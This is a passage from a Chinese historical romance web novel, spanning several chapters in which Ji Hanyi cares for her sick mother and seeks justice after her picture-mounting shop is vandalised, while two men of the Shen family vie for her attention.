草草盘起来的发丝半落,身上披了件降色花鸟毯子,侧着脸庞,闭着的眼眸下头也是深深的疲倦,白嫩的脸颊旁依稀还能见着睡出来的印子。
顾氏见着季含漪这般,心里头很是难过。
她也不知自己的身子是怎么了,昨天半夜忽然就胸痛,接着就呕血出来。
她伸手本是想帮季含漪脸颊上的发丝别下去,却惊动了睡着的人。
季含漪朦朦胧胧的醒过来,见着母亲醒了过来,眼眶一下子热了,接着便低头埋进了母亲的怀里,沙哑道:“娘亲……”
季含漪已经许久没有这般叫过顾氏了,还是她未嫁人的时候会这般叫。
顾氏泪眼婆娑,伸手抚着季含漪的发丝,哽咽着:“别担心,娘亲没事。”
季含漪闭着眼睛,沙哑的软软嗯了一声。
顾氏又轻轻拍了拍季含漪的后背道:“先回去睡会儿,我知道你累了。”
季含漪依旧闭着眼睛摇头:“不累的。”
顾氏忧伤的落眉,缓缓道:“含漪,母亲又连累你了。”
季含漪捏在母亲袖子上的手一紧,她抬头,眼眶红透,声音里带着一丝颤:“母亲从来都没有连累我,没有母亲在,我一个人又能去哪儿呢。”
“只要母亲在我身边,哪里都是我的家。”
顾氏听了季含漪这句话,悲从中来,想起从前自己伤心过度,竟然想要抛弃女儿离去,如今听了女儿的话,她才渐渐领悟过来,从前的自己是多么自私。
她弯腰,将季含漪拢紧在自己的怀里哑声道:“母亲往后好好养身子,好好治病,好好与你去金陵。”
“我们在蔚县好好过日子。”
“含漪,母亲有你在,更知足了。”
顾氏醒来,大房二房的人又都来看了一回,等人散后,季含漪才问母亲:“母亲,您心里一直难受我和离的事情么?”
“您一直压在心里没说,您也不想去蔚县,是么?”
顾氏此刻发丝披泄,靠在身后的大引枕上,脸色苍白,依旧难掩姣好面容,在窗外透来的一丝光线下,看向坐在身边的季含漪摇头:“我没有。”
“我早就想开了,我虽说不希望你和离,但那是因为你身后势微,在谢家好歹能护住你,让你一辈子顺遂富贵。”
“可你在谢家过得不好,那谢玉恒还纳妾室,你从谢家出来,更没让你带走一件东西,他们不过是欺你无人做主,你即便留在谢家,过得也难。”
“母亲怎么能忍心看你还在留在那个火海里?”
季含漪片刻失神,她今日还一直以为母亲是因为心里积压的心事太多,是因为她才这样的。
又听母亲轻柔的声音:“我心里的确有心事,我的心事是你父亲,我总想他当年在牢狱里受了什么折磨,那些人想让他死,他好好的人,前一日我还去看他了,他第二日就**。”
“他是**的,他当时疼不疼,难不难受,他一个人在地底下冷不冷,他那时候有没有想我”
“我心里难过,为你父亲难过,我宁愿他什么都不是,我只愿他如今也好好的。”
“可你回来了,你从谢家回来了,我便明白过来了,我还有你,我再想早些去陪他,我也要先陪着你。”
“你说去蔚县投奔你二叔,我心里也是愿意的,你未见过你二叔,我是见过的。”
“当年我与你父亲大婚时你二叔来过,他与你父亲生的一般好,你二叔性子老成,不苟言笑,但不会是不好的人,你父亲待你二叔亲近,若你二叔不好,你父亲也不会这般念着他了。”
季含漪有些出神的看向母亲的脸庞:“那母亲呕血,不是因我的事么?”
顾氏笑了下,伸手抚上季含漪的脸庞:“怎么会呢,你如今有主意,万事能够做主,母亲很欣慰很高兴。”
“含漪,你与从前不同了,我也知晓你也忍了许多委屈。”
季含漪含了汪泪,心里沉沉的担子,终于在母亲的柔声细语的化为了春风。
她低头埋在母亲的膝盖上,闭上眼睛,在温暖的炭火声里,终于浑身松懈的软下来。
一直到外头丫头熬好了药送进来,季含漪才从母亲怀里起身。
春菊过来喂药,季含漪
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跟着容春走到外间,容春将一封信递到季含漪的手上,小声道:“这信中午就送来的,只是姑娘一直在忙,也没来得及给姑娘看。”
季含漪有些疲倦的坐在外间的椅上,手指在脚边的炭火上暖了暖,又靠着椅背,将信纸打开。
信是明掌柜送来的,季含漪仔细看过去,神色微微有些凝固。
容春在旁边小声问:“是不是抓到贼人了?”
季含漪微微歪着身子,撑头在椅上的扶手上。
兵马司的人的确抓到了往她铺子里泼粪的两个人,是那条街上地痞无赖,只说是路过,因为被铺子前的石头绊了脚,气不过才这样做的。
兵马司也的确处置了,将那两个人各笞了五十,便算作了结了,甚至因为那两人本就无赖,身上无银,笞刑完只让他们去帮忙清理就算惩治了。
但这件事定然远不是这般简单的,那兵马司的人也只想快点结案,并不想要深究,若是他们稍稍拷问,就知晓这件事背后是有人指使。
又或许是兵马司的人知晓,但是收了贿赂。
季含漪闭着眼睛撑着额头,想这一口气难不成就这般忍了么,那在背后故意针对她的人,便这么放过了他么。
或许放过一次就还有第二次,让她的铺子不好经营。
季含漪又深吸一口气,起身往自己屋里去,坐在案前,铺了信纸,开始提笔写信。
不管最后是什么结果,季含漪总之是要试一试的。
信让人送出去,晚上的时候时候明掌柜就又送了信来。
此时季含漪才刚从母亲那儿看着母亲吃了药回去,坐在罗汉榻上摆出画具还未落笔。
她看着明掌柜的信,更是坚定了自己的猜测。
季含漪让铺子里的师傅跟着那两个无赖,那两人平日里连吃酒都要赊账的人,如今却不仅还清了之前所有的账,还能宴请狐朋**吃酒。
看了信,季含漪当即又提笔开始重新写诉状,让明掌柜明日上南兵马司重新状告。
容春在旁边也知晓季含漪在写什么,忍不住小声道:"可万一别人给的银子多,兵马司的人还是糊弄过去怎么办?"
季含漪静静看着小炕桌上跳跃的烛火,轻声道:“那我便告到兵马司指挥使那里,指挥使那里不行就告到御史那里去。”
容春被季含漪的话吓了一下,赶紧道:“那些都是大人物,我们什么靠山关系都没有,真的能告得到公道么?”
季含漪侧头看向身边的容春,素净的面容在暖光下摇曳,低声道:“如果不告的话,那我们便当作无事发生么,万一背后的人变本加厉呢。”
“即便不行,若是不尝试的话,你心里好受么?”
容春愣了愣,想起那日在铺子里见到的那光景,那见铺子是姑娘耗费了许多心血才做到如今的。
想起当初铺子刚开起来的时候,姑娘日日过去,亲自挑选挑托心的宣纸和绫绢,甚至那浆糊都是姑娘自己调制的。
最初生意还不怎么好,铺子里才请一个师傅,姑娘得了空闲都要去看,每个步骤都要亲自去示范,如今铺子做起来了,被人两桶粪水就毁了。
虽说可以清洗干净,可是心里总之是隔应的很,那味道也更不知道什么时候才能彻底散去,对铺子生意的影响不是丁点。
容春这般一想,心里也是不好受的。
她看向季含漪:“姑娘,我也觉得应该告!”
第126章 碰见沈长龄
第二日一早,季含漪要往铺子里去一趟,昨日明掌柜的来信说,大部分的客人也好说话,只要味道没有了,也没怎么计较,只是有些客人依旧不满意,要求赔银子。
铺子里的银子因着季含漪本打算要走已经结清了,没剩多少银子,季含漪便过去将这件事情处置完,看到底还要给多少银子了结完这桩事情。
早上她走的早,去外祖母那儿问安的时候却碰着了顾晏也在那里。
顾晏见着季含漪进来,却站了起来走到季含漪身边问:“姑母好些了么?”
顾晏这动作,引了屋内好些人注意,旁的人倒是没有怎么多想,只是觉得顾晏对关心顾氏的身子。
二夫人刘氏还笑着说了句:“晏哥儿自小就亲近他姑母一家的,如今她姑母出了事,也是这么关心。”
坐在刘氏旁边的张氏听了这话,脸色微微变了变,难看的看着顾晏的动作,虽说是站在季含漪身边两步外的位置,可那眼神紧紧看在季含漪的脸上,关心溢出眼底,更多的是叫张氏也看不懂的情绪。
自己这个儿子,最近变得连她都看不懂。
从前最是在意自己在官职上的前途,从前不曾有过一回早回,有时候还要留在国子监到夜里很晚,更是还会陪着上司应酬,就是为了某一个好前程。
他自己也知晓,一直留在国子监,再好的前程也不大,为了这回能去六部择选学习,他更是费尽心力,可现在他却在这个节骨眼连请了两日的假。
顾晏多在意前程,张氏最是明白的。
她紧紧看着自己的儿子,在旁边人的目光下却不能说半个字,却觉得如坐针毡。
季含漪见着顾晏过来,还当着这么些人的面,本是有些不习惯的,但又看顾晏满眼关心,又想起外祖母与她说的那些话,这府里旁人可能是虚情假意,但顾晏对她母亲,是当真尽心了的。
她便也压着心里的那股有些不适应,与顾晏小声道:“二表哥放心,我母亲昨日吃了药,今日好些了。”
顾晏听了季含漪的话,脸上便也松懈了些,又与季含漪关切道:“姑母的身子一向不大好,这次多养些日子,等养好了身子再说去蔚县的事情也不迟。”
季含漪低垂的眼神余光微微往张氏那头看了看,见着张氏脸色些微难看,又正往她这边看来来,犹豫一下,正想着怎么说。
上头顾老太太的的声音这时也传了来:“晏哥儿说的是,你母亲的身子底子太弱,若是不好好养着,将身子养好了,路上万一又碰着了个什么事情,那时候半路上又怎么办?”
“为着稳妥些,去蔚县的事情倒是不用太着急,等你母亲的身子养好了再说。”
季含漪便也轻轻点头。
顾晏说完了话,也退到了一边站着,季含漪心里还想着铺子里的事情,坐下说了些母亲的事情,叫旁人不必太担心的话后,又起身先告退。
顾晏看季含漪起身出去,那娉婷的身形缓缓走出视线,在早春开始明媚的光线下,如琼枝玉树,伴着暖日与霞光。
他怔怔想着,他在书房里画了无数表妹的画,却半分也画不出表妹的神韵,因那浑然天成的素净与清澈,以他晦暗的心思,永远也画不出来。
顾晏心里轻跳,又情不自禁的起身跟着出去。
他也不知晓自己追出去是要说什么话,他只是看着她走了,他一早等在这里,不过就为了看她一眼,现在她走了,那宁安堂他也不愿呆了。
张氏看着顾晏离去的背影愣了愣,旁边刘氏又开口问:“晏哥儿今日怎么这时候还在府里?”
张氏脸色又沉下去,站起身来看了刘氏一眼,一言不发的就走出去了。
刘氏被张氏这一瞪眼,莫名其妙的,看着张氏离开的背影,轻轻嗤了一声。
大房是比二房好,张氏又管着府中中馈,她老爷也**,没个靠山,可也不至于被她这么摆脸色,当下也没了说话的心思。
这头顾晏追着季含漪的脚步,在后面低低喊了一声,季含漪回过头来,见着顾晏出来,忙又问:“晏表哥,何事?”
顾晏喉中哑了哑,看着季含漪仰起的脸庞问:“漪妹妹要出府?”
季含漪走的这条路正是往后门走的,她点头:“我
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铺子里有些事情,这会儿去瞧瞧。”
顾晏便开口:“我陪着你吧。”
季含漪笑了下:“不用,我自己去便是。”
前日铺子里出的事,季含漪谁也没说,外祖母和母亲都没开口,如今府里出的事情多,也不想再说一桩让人担心了。
这件事也不知道最后能不能真的处理好,免得让身边人这些日也记挂。
顾晏看着季含漪眉眼,见着她虽说含笑,眉眼里却带着几分客气,喉咙紧了紧,却是不强求的后退一步,也笑了下:“好。”
季含漪见着晏表哥脸上有些失落却依旧理解她的神情一顿,晏表哥好似自来都是这般,她不愿,他就全依着她。
心里又升起一股不是滋味来,季含漪咬了咬唇,还是转身先走。
毕竟她心里也很清楚,她什么都给不了晏表哥,等母亲好转,她也依旧要走的。
等到了铺子,铺子外头几乎已经收拾好了,铺子内到处点着艾草和熏香,但浮在香味下头的那股淡淡味道,还是依旧在。
明掌柜见着季含漪来,便忙将几副装裱好的画拿过来给季含漪定夺赔不赔,赔多少。
季含漪低头看了看,都是裱好的画,师傅的手艺很好,用料精良,配色雅致。
装裱的价钱与画卷的价值是有些关联的,好在这几副画,都是寻常自娱自乐的画卷,即便赔偿,便算作裱画的银子赔,再将裱好的画送给客人,想来大多也能接受。
明掌柜听了身上一松,连连称好。
季含漪站在铺子里一幅幅算好了银子,又与明掌柜问了些那两个无赖的细节,季含漪便叫明掌柜这会儿去兵马司,她在铺子里等他。
明掌柜的诶了一声,敢紧去办要紧事。
出了这样的事情,明掌柜的心头也有口气,他昨日看着那两个无赖被笞了三十,还在他面前耀武扬威的走过去,也是气不打一出来。
季含漪在铺子里坐了坐,又带着容春去铺子外头随意走走,才走了一会儿,不想却见着个穿着青衣武将官袍的人,正脚步飞快的往她这头走来。
那人正是沈长龄。
第127章 我还没成婚呢
沈长龄才从兵部出来,正与几个交好的好友来南城酒楼吃酒,下午再回军营,没成想竟碰着了季含漪。
虽说季含漪带着帷帽,但是远远一看,就与旁人不一样,他只是看一眼就能被吸引目光,再仔细看去,分外熟悉。
又往前走了几步细看,可不就是这些日他心心念念的人。
本来他从前对季含漪没那念头,小时候也只是觉得季含漪跟个白面团子似的分外的可爱。
可是自从见了如今的季含漪,又听了母亲说季含漪已经和离的事情,就不知道怎么的,时不时的心痒一下,就跟往湖水里扔个石子,那涟漪十里外都还有的感觉一样。
晚上闭着眼睛想一下,操练的时候想一下,就连与要好的兄弟说话谈天的时候都时不时的要乍想一下。
也没说想多久多深,就想那一个瞬间,时不时脑中冒出季含漪的脸,又想母亲说的话,总之是忘不掉了。
就跟着了什么魔,总想着小时候欺负过的季含漪和离了,身边没人了。
就是刚才,沈长龄与兄弟走在街上,听身边人说起他又纳了妾,那身段好比杨柳,漂亮的很,下午带给他们瞧瞧的时候,他脑中就想起季含漪的模样来。
谁能比的上他的漪妹妹呢。
谁曾想他正想着,转头就见着了相似的人,再一看,竟真是自己这些日日想夜想的人。
当下连兄弟也不要了,又怕兄弟见着了佳人,用力劝着兄弟赶紧进酒楼,他一溜烟往人面前走去。
小时候的记忆又涌上来,想起小时候逗她的场景来,心尖尖又发热,恨不得立刻就到人跟前。
季含漪见着沈长龄往她这边走来,却是下意识的转了身。
上回见着了沈家大夫人,季含漪便认出沈长龄的身份来了,她对沈长龄还有些模糊的印象,就是他欺负她的那一回。
虽说后头沈长龄想方设法的想要来她跟前赔罪,但季含漪后头也一直躲着他,生生没与他再见过一回,把他当洪水猛兽那般躲。
这会儿她也不确定沈长龄到底是朝着谁来的,但看他那眼神好似是朝着她,想着两人也不过碰了那么一回,该是认不出她来才是。
她心里存着侥幸,却没想身后传来一道年轻爽朗的声音:“漪妹妹。”
这声漪妹妹喊的季含漪心都颤了两下,他大咧咧在大街上这般叫她,她又刚和离,万一叫谁听见了,旁人又怎么想,可别传出什么话头出来。
她与沈长龄又没有什么关系,做什么又叫她这声漪妹妹。
她赶紧回头,看着一身官袍扎眼的沈长龄急促的低低道:“你别乱喊。”
沈长龄听着这好似不大高兴的声音一愣,又低头看向季含漪的薄纱下的面容,朦朦胧胧仰起的脸庞,如雨如雾,叫他又看得愣了愣。
他心里还升起股奇异的感觉,小时候那般软软的性子,现在好似不高兴的声音听起来也糯糯的,当真是没怎么变。
甚至他隐约瞧见了人,那黑溜溜的眼睛好似还瞪了他一眼,不由咧嘴露出白牙笑起来。
季含漪对沈长龄早就只剩下个模模糊糊的印象了,也不知这人现在是什么脾性,更不知晓他叫自己做什么。
又见他忽笑起来,几分俊俏带野的面容带着股不羁野性,本就生的身量高,腰上别着腰刀,缠着牌子玉佩,一身武将打扮,还是有官职的,霎时显眼的很。
季含漪又往后退了一步,问他:“你叫我做什么?”
沈长龄又低笑了下。
他也不知道他叫住她做什么,他就是想叫她。
季含漪身量实在是秀气,沈长龄与她说话得微微弯着腰,但从前不喜欢在女子面前低三下四的人,这回很是乐意的这般与她说话。
他眼神看着那薄纱道:“你还记得我么?”
有印象自然是有印象的,沈府的小三爷,沈大夫人最小的嫡次子。
但季含漪摇头:“不记得。”
沈长龄听季含漪不记得倒还高兴了一下,说明自己小时候做的混账事,她肯定也不记得了。
他赶忙自荐了一番,又说:“我比你长一岁,我还没成婚呢。”
这就是自己根本控制不了的说了出来,沈长龄自己
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说完自己都愣了一下,怎么就把这句话给说出来了。
不过又想,本来也没成婚,母亲还在给他挑,又有什么不能说的。
季含漪看了沈长龄一眼,他最后说的这句没头没脑的话,也不知他到底是个什么意思,又想着兵马司的官司,稍稍有些心不在焉的嗯了一声。
沈长龄心里头却是舒坦了,她未配,自己未娶,想接近姑娘说话,又有什么不可以的。
又有什么需要藏着掖着,不能光明正大的。
他当下又赶紧问:“隔些日我府上的姑娘们要开个诗会,我听我母亲提过要邀顾家姑娘来。”
“你是不是如今住在顾家的,你来不来?”
季含漪听了沈长龄这话,心思稍转了转。
沈家要邀顾家姑娘,定然是要邀她三妹妹了,沈家如今的地位,身边相近交好的都是身份不低的,院子里姑娘的诗会,不是当作交好的寻常也不会邀请。
这场诗会大抵又是为着三妹妹的,她不可能去。
她抬头看向沈长龄摇头:“我近来事情多,不去了。”
沈长龄忙问:“你有什么事情?不过就是个消遣,又废不了什么事。”
季含漪依旧摇头:"我也不擅长那些。"
沈长龄心里头有些失落,却不说这个了,又问:“你在这做什么?”
季含漪正想着怎么将沈长龄打发走,明掌柜这时候已经跑回来了,满头大汗,见着季含漪就道:“姑娘,那些人欺人太甚,就说案子结了就不管了,还将我给赶了出来,说是我要是还闹的话,就当作滋事给抓起来!”
季含漪听罢心里头就是微微一凝,她等在这里就为等一个结果,却没想到兵马司的人会这般草草了事。
但心里其实已经有了些准备,她又不是什么重要的人,又是这样一桩小事,兵马司的能将那两个无赖抓住惩治,他们都觉得已经尽了职,至于是谁指使的,他们根本就懒的管,懒得查。
她本也是存了一丝侥幸的。
旁边的沈长龄听了明掌柜的话,却是问了一句:“谁欺负你们了?”
第128章 我叫我五叔帮你
站在季含漪身边的明掌柜乍一听到旁边一道男声吓了一跳,反应过来后这才注意到旁边还站了个人。
他看过去一打量,便见着人通身气度不凡,生的更是丰神俊朗,举手投足都是贵气。
再看他身上那身官袍,还有那腰上的佩刀,这不是官老爷么。
明掌柜就忙就开口说了一句:“兵马司的。”
沈长龄一听兵马司,便打听来龙去脉。
季含漪本是不愿说,不愿欠沈长龄这一个人情,又不是熟悉的关系,但明掌柜已经义愤填膺一股脑儿的倒了出来。
沈长龄听罢问季含漪:“你确定背后还有指使的人?”
季含漪点头。
这事她是万分确定的。
沈长龄就笑了下:“这事即便再去兵马司闹也没用,就算你去找兵马司指挥使也不会有好结果。”
“那些吏目收没收好处另说,你这案子贼人已经抓着了,也已经可以结案了,你们身后又没个关系门路,兵马司也忙碌,他们不会再管你们这事的。”
季含漪也明白沈长龄说的是这回事,她也想好的,官府不行,就用其他法子。
又听沈长龄淡笑一声:“不过这事也不是什么大事,那兵马司上官是巡城御史崔茂,崔茂归我五叔管呢,你放心,我回去与我五叔提一提,不过我五叔一句话的事情,那兵马司的人还得请着来给你查。”
季含漪听着沈长龄口中的五叔,如何不知晓那是沈肆。
又想起上回在皇宫内,沈肆对自己那冷淡的态度,与她没说几句便先走了,想来也是厌了她。
自己自从要与谢玉恒和离以来,诸事麻烦了沈肆许多,如今为着这样一桩小事又去麻烦了他,恐怕他更烦了。
大不了她也雇几个人把那两无赖抓了,问出身后的到底是谁,再去官府报官,总之不能这般一直忍下去。
就算再不行,她便以牙还牙也叫人去泼去。
况且她心底里已经有了猜测了。
季含漪忙抬头道:“不用劳烦了沈大人的。”
沈长龄看着季含漪紧张的像是有些怕他五叔的神情,想着自己五叔那张脸,谁瞧见了不怕,估计季含漪是被五叔那生人勿近的气场给吓住了。
他低笑道:“你别怕,我去提,你什么也不用管。”
季含漪还要拒绝,又听到沈长龄身后有人叫他,不由侧头看去。
沈长龄回头一看,正是与自己同在军营交好的好友,淮阳伯府的嫡次子陈炎。
与他在京中京中交好的,多是世家的次子和闲散子,不需承担家族的重担,更不需要有多大的出息,家族富裕,即便一辈子游手好闲,也能富贵的过。
唯一的要求便是别惹出事端来。
但沈长龄自己还算是洁身自好,自小家规严苛,父亲和祖父更是严厉,即便他读书上没有建树,但也老老实实去军营里历练,不惹事端。
但是他身边的那些人可不一样了,只要不是家族里惹不起的事情,寻常事情是没有忌讳的。
便是强抢民女的事情,他们也做过。
季含漪即便带着帷帽,但站在那里一处,身上的那股吸引力便叫人忽视不得。
沈长龄挡在季含漪身前,草草与她说了句:“你放心,这事不要你操心。”
说罢就转身走了。
季含漪看着沈长龄在人流里拦着一个蓝衣男子的肩膀往不远处的酒楼上走,她便也收回了视线,又与明掌柜交代,让他这些日照常经营,那些要赔的画,一幅幅送到人家府上,态度好些。
明掌柜点头,又问季含漪:“那万一那无赖又来怎么办?”
季含漪顿了顿,想着沈长龄刚才的话,或许让他去说一说也好,毕竟沈肆的一句话比什么都管用。
她就只是想要个公道而已。
---
这头沈长龄上了酒楼,却还是没忍住跑到窗口往楼下看,见着人群里没了人,心里又空落落的。
他刚才一口应承下那事,也是为了后头好有由头再找她。
中间隔了好些年未见,可惜那帷帽挡住,他都没能好好看她一眼。
想起
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小时候自己欺负她那回,其实还是有些愧疚的,经年再见,心里头竟还升了异样的心情。
心里存了讨好的心思,又想下午还要去军营,这会儿连酒也忽然没心思吃了,就要赶紧回去找自己五叔。
五叔寻常不是都察院就是在皇宫里,要么就去刑部和大理寺,从来不在外头应酬,或是去饮酒作乐,只要去这几个地方找,多半就能找得到人。
他当下就撇开一切要走。
身边的陈炎拉住他:“你做什么?爷才叫了几个容貌好的乐妓来,你这就又走了?咱们屁股都没坐热。”
沈长龄甩开陈炎的手:“你先自玩,我还有些要紧的事。”
陈炎拉住他:“你能什么要紧的事,今日上午又不操练,来都来了。”
沈长龄可不管这么多,一心惦记着季含漪的事,头也不回的走了。
陈炎看着沈长龄的背影吐槽:“看着像是有母猪在后头在追一样。”
其他人笑道:“罢了罢了,他家里一向管的严,我们吃我们的就是。”
这头沈长龄急匆匆的下了酒楼,先打马往都察院去,听说了五叔不在,问了门口的人,说是一上午都没来。
沈长龄估摸着往宫里去了,他又不能随意进宫,就先回府去看看,没成想就是随口一问,五叔竟然在府里,这可真是撞上了,面上一喜,赶紧下了马进府。
他一路往五叔书房走,站在门口处很是自觉的放轻了步子,叫人快快去传话。
传话的就是文安,他见着沈长龄主动来找侯爷,倒也是稀客,想来有什么要紧的事,忙也进去。
侯爷才刚从宫里回来,这会儿怕是也在忙。
他轻手轻脚的进去,正见着侯爷坐在成堆文卷的桌案后,眉头紧皱,显然这会儿正忙。
他犹豫一下,小声的开口说了沈三爷的事情。
沈肆手上翻看着石林县的卷宗,这桩案子已经不仅仅是**了,更牵连的人广,不是桩小案。
文安的声音才落下,他想也没想的就开口:“没空。”
第129章 你叫她漪妹妹?
侯爷这个回答,文安一点都不觉得奇怪。
侯爷忙起来,那是谁也不能去打扰的。
他将这话回了回去,沈长龄好不容易碰着了,怎么能轻易放弃,便说了句兵马司的人**渎职,他知晓五叔一向看不得手下的人**,必然要管的。
文安一听,忙问:“三爷可有证据?”
沈长龄便道:“自然有的。”
又道:“这是季姑娘的事,五叔从前不是认得她么,她铺子出事了。”
文安听了这话,心里头就是一跳,也不等沈长龄再说,赶紧一转身急匆匆的又进去禀报了。
文安急匆匆的进去传话,也忌讳着侯爷忙碌不喜打扰,连忙将刚才沈长龄的话快速的禀报了一遍。
果真,侯爷听了他的话后,手上的动作顿住,文安暗地里送了口气。
随即他就又听到侯爷低沉的声音:“去叫他进来。”
文安就知晓,但凡牵扯到了季姑娘的事情,侯爷再忙,那都得空出时间来。
文安诶了一声,赶紧出去了。
沈长龄进来的时候,见着五叔依旧一脸严肃的坐在满是文书的桌案后,心里就提起来了。
五叔生的矜贵,从来又是严肃严正的模样,在外一丝不苟又不苟言笑,自小与府里的其他小辈或则是同辈都不怎么亲近,带着股疏远和忽远忽近。
沈长龄想着也是,与五叔同辈的,比他父亲都大,小辈里五叔又是长辈,怎么亲近的起来。
况且五叔性子冷清,府里的小辈见着也怕,就连他平日里有些没规矩的人,站在五叔的书房里,也不自觉的规规整整的站好,不敢有一丝吊儿郎当,再十分规矩的喊一声:“五叔。”
沈肆看了眼站在面前的沈长龄,又似随意的开口:“说清楚。”
沈长龄知晓五叔说的是什么意思,赶紧将季含漪遭到的事情说了,又道:“那兵马司的是有渎职之嫌,那两个无赖是抓了,笞了板子,可指使的人便不管了么?万一下回还去泼怎么办?”
“漪妹妹本就从谢家和离了,还指望着铺子的营生过日子呢,况且漪妹妹被人这么欺负,我也看不下去,必须得好好惩治了。”
沈长龄一口一声的漪妹妹,俨然将季含漪当作了身边亲近的人,那脸上愤懑,满是打抱不平。
沈肆静静看着沈长龄脸上的神情,黑眸里浮了层暗色,又抿了抿唇:“漪妹妹?"
沈长龄听了五叔这话,有些不好意思的挠了挠头:“小时候这般称呼的,如今叫着漪妹妹觉得好听亲近。”
沈肆冷笑一声:“还是这么没规矩,你用什么身份这么称呼,她如今刚和离,别平白因你这称呼给她添些事端。”
沈长龄被训的愣了愣,没成想一声称呼还挨了一通训斥,赶紧又老实的点头:“五叔说的是,下回我不这么叫了。”
说着他又看向五叔:“但季姑娘的事情,还请五叔一定要帮她,小时候我欺负过她,如今她遇见了这遭事,我也瞧不过去。”
说着他将手上的状书送到沈肆的面前:“五叔你看看,这是季姑娘写的。”
沈肆看了眼沈长龄送到面前的东西,放下手上的笔,接了过来。
状书上的字迹秀丽,通篇道理说的条条是道,且疑点证据猜测尽数写的很清楚,若是兵马司收到这样条理清晰的状书,且疑点也合情合理的情况下,的确应该再受理去查。
这件事的确是兵马司的不够尽职。
沈肆将手上的状书放到桌上,又靠着椅背问沈长龄:“她与你说的?”
沈长龄有些诧异五叔会过问这些有些无关要紧的问题,却还是规规矩矩的点头回话:“今日碰见了季姑娘,我听她说的。”
又道:“季姑娘含泪与我诉苦,说兵马司的欺人太甚,说指使的人怀着坏心,求我帮忙。”
“五叔,这事不能这么过去了。”
沈长龄故意将话说的严重些,故意将季含漪的反应说的大了点,就是求的气直气壮的,想五叔答应。
只是当他说完后,抬头看到的却是五叔阴沉的一张脸,将他都给吓了一跳,忍不住往后退了一步。
他想着自己该是也没说错什么话的,怎么五叔就忽然变得更加可怕起来。
又想着得给季含漪解决好这事,当下又鼓起勇气的小心翼翼道:“五叔,你管不管?"
要是不管,他就自己叫人去绑了那两个无赖了。
沈肆看了沈长龄一眼,声音冷淡的说了一个字:“管。”
沈长龄就等着五叔的这一个字,顿时脸上一喜,赶紧对着五叔施了一个大礼。
他要转身离开的时候,却又被五叔不冷不淡的声音叫住,他回头,就见着五叔又低头看着桌上的文书,低垂的脸庞看不透彻思绪,只听一道漫不经心,像是随口问起的话:“你什么时候与她有的来往。”
沈长龄脑中还空白了一下,想着五叔莫不是问的他与季含漪。
她想不明白五叔竟也关心这些事,又想五叔做事一向严谨,许是要问的详细些,便道:“上回季姑娘跟着顾家夫人来的时候我遇见的,也是一见如故,就联系上了。”
这一见如故自然是沈长龄自己这么觉得的,他想着,自己要是帮季含漪解决了这桩子事情,往后还能再见,心头又生了股欣喜。
沈肆唇边压着抹冷淡的弧度,摆摆手指,再没有开口,叫沈长龄出去。
沈长龄也赶紧退了下去,心口一松。
他是松了口气,文安却是着着实实为小三爷捏了把汗,又小心翼翼的看向沈肆的神情。
那真是黑的比锅底还黑,小三爷却半点眼力见都没有。
沈肆看了眼站在旁边的文安,脸上依旧是不动声色的神情:“去让人将南城兵马司指挥使叫来。”
文安听了这话,知晓主子定然是要追查这件事了,忙应声下去。
文安退下去,书房内空无一人。
沈肆看着放在案上的砚台,那是季含漪送给他的,她给他后,他便换下了他从前常用的玉山砚。
砚台算不上好砚,但这是她唯一送给他的东西。
沈
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肆指尖落在那砚台上,又唇边又勾出抹嘲讽的自嘲来。
在她心里,她宁愿求曾经欺负过她的沈长龄,都不愿来与他提一句。
她若是提,他会不帮她么。
还是如今她一直在躲着自己,就因为自己送给她的画,就因为自己对她袒露了心思,她便躲着自己。
又想到季含漪含泪求着沈长龄时候的模样,软软的眸子哪个人见了不心软。
心底升起股郁气,自来最能克制情绪的人,将手边的青花茶具都扫落在地上。
才刚跨出门槛的文安听着里头的动静,只差没吓得摔倒,赶紧连滚带爬的跑出去,只求别连累了自己。
这边季含漪留在铺子里与明掌柜算了算需要赔的银两,一共八幅画,一共一百多两,季含漪着实心疼了一把。
但这事的亏损也不能这么算了,季含漪又让明掌柜列个亏损单子出来,既然沈长龄愿去说,沈肆若是能帮的话,这是好事,兵马司的人定然也不能这么糊弄过去了,那必然还好要对簿公堂,那她的损失也该有赔偿才是。
要是真有沈肆对兵马司的那一句提醒,季含漪心里就很安心。
因明掌柜大抵还要去兵马司一趟,季含漪就与明掌柜又细细交代了些细节,再让他准备好证据,比如去了那家酒楼曾经的赊账,什么时候还的,什么时候又置办了从前置办不起的东西。
这两日明掌柜让人跟着,对这些很清楚,听了季含漪的话连连点头。
再有他为了这事跑了兵马司两趟,已经有了经验,便对季含漪拍胸脯保证道:“姑娘放心吧,我知晓怎么说的。”
明掌柜是是当初外祖母连着铺子给她的管事,铺子经营一路看着她过来,季含漪信任他。
心里还记挂着母亲的病,季含漪也没有呆多久就回去了。
回去的时候正是午膳的时候,季含漪先去净了手,又进去里屋看母亲。
顾氏依旧靠在床榻上,旁边春菊端着鸽子汤坐在床边劝着顾氏吃一口,但顾氏脸色苍白,失神的看着一处,动也没动一下。
这鸽子是今早季含漪叫容春给了厨房银子,叫厨房的出去买来给母亲炖的,陈太医那张药方上写着每日一碗鸽子汤补气,季含漪便叫厨房的多买几只。
床榻上的顾氏依旧在失神,对春菊的声音充耳不闻,就连季含漪从外头走了进来,也没有察觉,直到季含漪朝着她唤去一声,才迟钝的朝着季含漪这头看来。
季含漪伸手从春菊的手里接过鸽子汤,春菊便忙让开了位置,站去了一边。
季含漪坐在床边看向顾氏:“母亲先把汤喝了吧。”
顾氏看着季含漪摇头:“我吃不下。”
季含漪默然:“多少吃几口就是,不然身子怎么能好起来呢。”
顾氏那双带水的眸子忽然忧伤的看着季含漪:“我现在是不是拖累了你,我这副身子是不是早点**就好了。”
季含漪指尖的动作一顿,她看向母亲的眼睛:“母亲难道不记得我曾与母亲说的话了么?”
第130章 事情太多,一桩一桩来
顾氏听了季含漪的话,眼里莹莹,她当然记得的。
季含漪说,只要有自己在,她便有家。
只是今日她上午睡到半梦半醒的时候,听到伺候在旁边的两个小丫头说话,说她这样的身子,一辈子都好不了,全凭着药吊着身子,会连累她的女儿永远不能再嫁,还要一辈子过得辛苦拮据。
她想她要是**,女儿也不会再操心她的事情了,她知晓她吃的药并不便宜,天长日久,怎么不被嫌弃呢。
她知晓季含漪不会嫌弃她,可她不想拖累了女儿,况且女儿又哪里能够有那么多银子给她吃药,倒不如她**,女儿也能没有牵挂的再找一门归宿。
今日上午她一直在想这个,连带着吃药都借口不想在吃。
